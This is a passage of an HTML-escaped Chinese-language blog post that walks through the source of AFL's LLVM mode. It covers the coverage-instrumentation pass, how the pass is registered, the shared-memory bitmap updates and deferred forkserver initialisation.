&lt;p&gt;检查是否设置了宏 &lt;code&gt;__ANDORID__&lt;&#x2F;code&gt; ，如果没有，判断 &lt;code&gt;bit_mode&lt;&#x2F;code&gt; 的值：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果为0，即没有&lt;code&gt;-m32&lt;&#x2F;code&gt;和&lt;code&gt;-m64&lt;&#x2F;code&gt;，添加 &lt;code&gt;obj_path&#x2F;afl-llvm-rt.o&lt;&#x2F;code&gt; ；&lt;&#x2F;li&gt;
&lt;li&gt;如果为32，添加 &lt;code&gt;obj_path&#x2F;afl-llvm-rt-32.o&lt;&#x2F;code&gt; ；&lt;&#x2F;li&gt;
&lt;li&gt;如果为64，添加 &lt;code&gt;obj_path&#x2F;afl-llvm-rt-64.o&lt;&#x2F;code&gt; 。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;afl-llvm-pass.so.cc&lt;&#x2F;code&gt; 文件实现了 LLVM-mode 下的一个插桩 LLVM Pass。&lt;&#x2F;p&gt;
&lt;p&gt;本文不过多关心如何实现一个LLVM Pass，重点分析该pass的实现逻辑。&lt;&#x2F;p&gt;
&lt;p&gt;该文件只有一个Transform pass：&lt;code&gt; AFLCoverage&lt;&#x2F;code&gt;，继承自 &lt;code&gt;ModulePass&lt;&#x2F;code&gt;，实现了一个 &lt;code&gt;runOnModule&lt;&#x2F;code&gt; 函数，这也是我们需要重点分析的函数。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;namespace {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  class AFLCoverage : public ModulePass {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    public:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      static char ID;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      AFLCoverage() : ModulePass(ID) { }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      bool runOnModule(Module &amp;amp;M) override;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;&#x2F; StringRef getPassName() const override {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;&#x2F;  return &quot;American Fuzzy Lop Instrumentation&quot;;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;&#x2F; }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;对pass进行注册的部分源码如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;static void registerAFLPass(const PassManagerBuilder &amp;amp;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                            legacy::PassManagerBase &amp;amp;PM) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  PM.add(new AFLCoverage());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static RegisterStandardPasses RegisterAFLPass(&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    PassManagerBuilder::EP_ModuleOptimizerEarly, registerAFLPass);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static RegisterStandardPasses RegisterAFLPass0(&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    PassManagerBuilder::EP_EnabledOnOptLevel0, registerAFLPass);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;其核心功能为向PassManager注册新的pass，每个pass相互独立。&lt;&#x2F;p&gt;
&lt;p&gt;对于pass注册的细节部分请读者自行研究llvm的相关内容。&lt;&#x2F;p&gt;
&lt;p&gt;该函数为该文件中的关键函数，其控制流程图如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-llvm-pass-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210906194523.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;|首先，通过 &lt;code&gt;getContext()&lt;&#x2F;code&gt; 来获取 &lt;code&gt;LLVMContext&lt;&#x2F;code&gt; ，获取进程上下文：||&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;LLVMContext &amp;amp;C = M.getContext();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;IntegerType *Int8Ty  = IntegerType::getInt8Ty(C);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;IntegerType *Int32Ty = IntegerType::getInt32Ty(C);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置插桩密度：读取环境变量 &lt;code&gt;AFL_INST_RATIO&lt;&#x2F;code&gt; ，并赋值给 &lt;code&gt;inst_ratio&lt;&#x2F;code&gt;，其值默认为100，范围为 1～100，该值表示插桩概率；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;|获取只想共享内存shm的指针以及上一个基本块的随机ID：||&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;GlobalVariable *AFLMapPtr =&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  new GlobalVariable(M, PointerType::get(Int8Ty, 0), false,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                     GlobalValue::ExternalLinkage, 0, &quot;__afl_area_ptr&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;GlobalVariable *AFLPrevLoc = new GlobalVariable(&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  M, Int32Ty, false, GlobalValue::ExternalLinkage, 0, &quot;__afl_prev_loc&quot;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  0, GlobalVariable::GeneralDynamicTLSModel, 0, false);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;进入插桩过程：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;|通过 &lt;code&gt;for&lt;&#x2F;code&gt; 循环遍历每个BB（基本块），寻找BB中适合插入桩代码的位置，然后通过初始化 &lt;code&gt;IRBuilder&lt;&#x2F;code&gt; 实例执行插入；||&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;BasicBlock::iterator IP = BB.getFirstInsertionPt();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      IRBuilder&amp;lt;&amp;gt; IRB(&amp;amp;(*IP));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;|随机创建当前BB的ID，然后插入load指令，获取前一个BB的ID；||&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;if (AFL_R(100) &amp;gt;= inst_ratio) continue; &#x2F;&#x2F; 如果大于插桩密度，进行随机插桩&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;* Make up cur_loc *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;unsigned int cur_loc = AFL_R(MAP_SIZE);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ConstantInt *CurLoc = ConstantInt::get(Int32Ty, cur_loc);  &#x2F;&#x2F; 随机创建当前基本块ID&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;* Load prev_loc *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;LoadInst *PrevLoc = IRB.CreateLoad(AFLPrevLoc);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;PrevLoc-&amp;gt;setMetadata(M.getMDKindID(&quot;nosanitize&quot;), MDNode::get(C, None));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Value *PrevLocCasted = IRB.CreateZExt(PrevLoc, IRB.getInt32Ty()); &#x2F;&#x2F; 获取上一个基本块的随机ID&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;|插入load指令，获取共享内存的地址，并调用 &lt;code&gt;CreateGEP&lt;&#x2F;code&gt; 函数获取共享内存中指定index的地址；||&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* Load SHM pointer *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;LoadInst *MapPtr = IRB.CreateLoad(AFLMapPtr);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;MapPtr-&amp;gt;setMetadata(M.getMDKindID(&quot;nosanitize&quot;), MDNode::get(C, None));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Value *MapPtrIdx =&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  IRB.CreateGEP(MapPtr, IRB.CreateXor(PrevLocCasted, CurLoc));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;|插入load指令，获取对应index地址的值；插入add指令加一，然后创建store指令写入新值，并更新共享内存；||&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* Update bitmap *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;LoadInst *Counter = IRB.CreateLoad(MapPtrIdx);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Counter-&amp;gt;setMetadata(M.getMDKindID(&quot;nosanitize&quot;), MDNode::get(C, None));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Value *Incr = IRB.CreateAdd(Counter, ConstantInt::get(Int8Ty, 1));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;IRB.CreateStore(Incr, MapPtrIdx)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        -&amp;gt;setMetadata(M.getMDKindID(&quot;nosanitize&quot;), MDNode::get(C, None));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;|右移 &lt;code&gt;cur_loc&lt;&#x2F;code&gt; ，插入store指令，更新 &lt;code&gt;__afl_prev_loc&lt;&#x2F;code&gt;；||&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* Set prev_loc to cur_loc &amp;gt;&amp;gt; 1 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;StoreInst *Store =&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  IRB.CreateStore(ConstantInt::get(Int32Ty, cur_loc &amp;gt;&amp;gt; 1), AFLPrevLoc);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Store-&amp;gt;setMetadata(M.getMDKindID(&quot;nosanitize&quot;), MDNode::get(C, None));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;最后对插桩计数加1；&lt;&#x2F;li&gt;
&lt;li&gt;|扫描下一个BB，根据设置是否为quiet模式等，并判断 &lt;code&gt;inst_blocks&lt;&#x2F;code&gt; 是否为0，如果为0则说明没有进行插桩；||&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;  if (!be_quiet) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (!inst_blocks) WARNF(&quot;No instrumentation targets found.&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    else OKF(&quot;Instrumented %u locations (%s mode, ratio %u%%).&quot;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             inst_blocks, getenv(&quot;AFL_HARDEN&quot;) ? &quot;hardened&quot; :&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             ((getenv(&quot;AFL_USE_ASAN&quot;) || getenv(&quot;AFL_USE_MSAN&quot;)) ?&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;              &quot;ASAN&#x2F;MSAN&quot; : &quot;non-hardened&quot;), inst_ratio);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;整个插桩过程较为清晰，没有冗余动作和代码。&lt;&#x2F;p&gt;
&lt;p&gt;该文件主要实现了llvm_mode的3个特殊功能：&lt;code&gt;deferred instrumentation, persistent mode,trace-pc-guard mode &lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;AFL会尝试通过只执行一次目标二进制文件来提升性能，在 &lt;code&gt;main()&lt;&#x2F;code&gt; 之前暂停程序，然后克隆“主”进程获得一个稳定的可进行持续fuzz的目标。简言之，避免目标二进制文件的多次、重复的完整运行，而是采取了一种类似快照的机制。&lt;&#x2F;p&gt;
&lt;p&gt;虽然这种机制可以减少程序运行在操作系统、链接器和libc级别的消耗，但是在面对大型配置文件的解析时，优势并不明显。&lt;&#x2F;p&gt;
&lt;p&gt;在这种情况下，可以将 &lt;code&gt;forkserver&lt;&#x2F;code&gt; 的初始化放在大部分初始化工作完成之后、二进制文件解析之前来进行，这在某些情况下可以提升10倍以上的性能。我们把这种方式称为LLVM模式下的 &lt;code&gt;deferred instrumentation&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;首先，在代码中寻找可以进行延迟克隆的合适的、不会破坏原二进制文件的位置，然后添加如下代码：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;#ifdef __AFL_HAVE_MANUAL_CONTROL&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;	__AFL_INIT();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#endif&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;以上代码插入，在 &lt;code&gt;afl-clang-fast.c&lt;&#x2F;code&gt; 文件中有说明：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;  cc_params[cc_par_cnt++] = &quot;-D__AFL_INIT()=&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;do { static volatile char *_A __attribute__((used)); &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot; _A = (char*)\&quot;&quot; DEFER_SIG &quot;\&quot;; &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#ifdef __APPLE__&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;__attribute__((visibility(\&quot;default\&quot;))) &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;void _I(void) __asm__(\&quot;___afl_manual_init\&quot;); &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#else&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;__attribute__((visibility(\&quot;default\&quot;))) &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;void _I(void) __asm__(\&quot;__afl_manual_init\&quot;); &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#endif &#x2F;* ^__APPLE__ *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;__afl_manual_init()&lt;&#x2F;code&gt; 函数实现如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* This one can be called from user code when deferred forkserver mode&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    is enabled. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;void __afl_manual_init(void) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static u8 init_done;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!init_done) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    __afl_map_shm();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    __afl_start_forkserver();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    init_done = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
